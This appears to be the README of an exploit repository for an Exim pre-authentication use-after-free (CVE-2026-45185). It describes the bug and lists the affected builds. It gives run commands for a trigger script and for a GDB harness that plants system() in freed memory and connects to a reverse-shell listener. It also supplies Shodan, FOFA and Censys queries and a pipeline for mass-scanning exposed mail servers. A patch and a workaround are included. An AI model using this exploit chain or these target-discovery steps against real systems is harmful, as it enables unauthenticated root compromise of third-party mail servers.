0init/cve-2026-45185Exploits a critical pre-auth heap use-after-free in Exim via TLS close_notify to gain remote root; includes a GDB lab harness and Nuclei detection template.
CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / GnuTLS builds | Unauthenticated
Full write-up with GDB trace, step-by-step analysis, and global exposure data:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
Sending a TLS close_notify alert while Exim is mid-BDAT body transfer causes
tls_close() to call gnutls_deinit(), freeing the 7,304-byte gnutls_session_int
struct. The BDAT receive layer holds a stale pointer. When the body-read loop resumes,
tls_getbuf → gnutls_record_recv dereferences the freed session — heap use-after-free,
pre-authentication, no credentials required.
Fixed in Exim 4.99.3.
| Condition | Required |
|---|---|
| Exim version | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| Build | Ubuntu / Debian with GnuTLS (libgnutls28-dev) |
| Feature | CHUNKING advertised in EHLO (on by default) |
Alpine Linux and self-compiled Exim linked against OpenSSL are not affected.
| File | Purpose |
|---|---|
poc.py | UAF trigger — stdlib only, no pip. Safe to run against your own servers. Reaches the UAF path and stops (no payload). |
diag19_gdb.py | GDB exploit harness — 7 breakpoints, writes system() into freed chunk after gnutls_deinit() returns. Lab only (requires ASLR off + matched library versions). |
CVE-2026-45185.yaml | Nuclei template — detects all three preconditions via EHLO fingerprint + BDAT probe. Safe, read-only detection. |
python3 poc.py <host> <port> <rcpt@domain>
# example
python3 poc.py mail.example.com 587 [email protected]
If the server stays alive after the trigger, the UAF path exists. If it crashes, something has changed in tcache behavior.
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3
# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space
# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config # choose "internet site", accept defaults
# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d
# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost
# 6. Start a listener for the reverse shell
nc -lvp 4444
Before running: edit CMD in diag19_gdb.py to point to your listener IP.
The SYSTEM address is resolved dynamically at load — no manual lookup needed.
The two addresses inside PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) are
Exim-internal and must match your build:
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v
# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt
# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
The template runs two independent stages:
EHLO fingerprint — sends EHLO, matches on all three required conditions:
4.97–4.99.2Ubuntu in banner (GnuTLS linkage confirmed)CHUNKING in capabilitiesBDAT probe — sends BDAT 200 without RCPT TO, matches Exim's specific 503:
503 valid RCPT command must precede BDAT
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587
# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")
# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
Upgrade to Exim 4.99.3 or later (official patch).
Workaround (no exploit path, no restart required for testing):
# exim4.conf
chunking_advertise_hosts = !*
Then service exim4 restart.
| Date | Event |
|---|---|
| 2026-06-10 | CVE assigned by XBOW |
| 2026-06-24 | Public advisory released |
| 2026-08-07 | Lab RCE confirmed; this write-up + PoC published |
by @0Init